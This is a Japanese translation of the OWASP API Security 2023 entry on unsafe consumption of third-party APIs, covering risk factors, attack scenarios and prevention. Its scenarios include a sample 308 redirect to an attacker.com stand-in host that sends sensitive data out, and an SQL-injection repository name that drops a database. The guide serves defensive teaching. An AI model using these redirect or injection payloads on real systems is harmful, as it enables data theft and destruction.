API10:2023 API の安全でない取り込み（Unsafe Consumption of APIs）

Threat agents / Attack vectors（脅威エージェント／攻撃ベクター）	Security Weakness（セキュリティの弱点）	Impacts（影響）
API 固有：悪用難易度（Exploitability）容易この問題を悪用するには、対象 API が連携している他の API／サービスを特定し、場合によってはそれらを侵害する必要がある。通常、この情報は公開されていないか、連携先 API／サービスが容易には悪用できない。	蔓延度（Prevalence）一般的：検出可能性（Detectability）平均開発者は外部／サードパーティ API とやりとりするエンドポイントを信用しがちで、輸送路の安全性、認証／認可、入力検証・サニタイズなどの要件が弱くなりがち。攻撃者は対象 API の連携先（データソース）を特定し、最終的にそれらを侵害する。	技術的影響（Technical）重大：ビジネス影響（Business）ケース依存影響は対象 API が取得データをどう扱うかに依存。成功すると機微情報の不正公開、各種インジェクション、DoS などに至り得る。

API は脆弱か？

開発者はサードパーティ API から受け取るデータを ユーザー入力より信用 する傾向がある。著名企業の API であればなおさら。その結果、入力検証やサニタイズ などの基準が弱くなりがちである。

次のような場合、API は脆弱である可能性がある：

他 API と 暗号化されていないチャネル で通信している
他 API から取得したデータを 処理や下流コンポーネントへ渡す前に適切に検証・サニタイズ していない
リダイレクトを盲目的に追従 する
サードパーティ応答を処理するための リソース上限を設けていない
サードパーティとのやりとりに タイムアウトを実装していない

攻撃シナリオ例

シナリオ #1

ある API は、ユーザー提供の 事業所住所 をサードパーティで 補完（エンリッチ） し、返ってきたデータを SQL データベース に保存している。攻撃者はサードパーティ側に自作の事業所を登録し、そのレコードに SQLi ペイロード を埋め込む。次に脆弱な API に対し、その 「悪意のある事業所」 を引かせる入力を与える。結果として DB でペイロードが実行され、攻撃者管理サーバへデータが流出 する。

シナリオ #2

ある API はサードパーティと連携して 医療情報 を安全に保管している。データは以下のような 安全な接続 で送信される：

POST /user/store_phr_record
{
  "genome": "ACTAGTAG__TTGADDAAIICCTT…"
}

攻撃者がサードパーティ API を侵害し、上記のようなリクエストに 308 Permanent Redirect を返すようにした：

HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/

対象 API は リダイレクトを盲目的に追従 するため、同じリクエスト（機微データ込み） を今度は攻撃者サーバへ送ってしまう。

シナリオ #3

攻撃者が '; drop db;-- という名前の Git リポジトリを用意。被害アプリがこのリポジトリ名を 安全な入力と誤信 して SQL を組み立てる連携処理を持っていると、SQL インジェクション が成立する。

防止方法（How To Prevent）

サービスプロバイダ選定時に、API セキュリティ体制 を評価する。
すべての API 間通信を TLS で保護する。
連携 API から受け取るデータは 常に検証し、適切にサニタイズ してから利用する。
連携 API からのリダイレクト先は 許可リスト で管理し、盲目的に追従しない。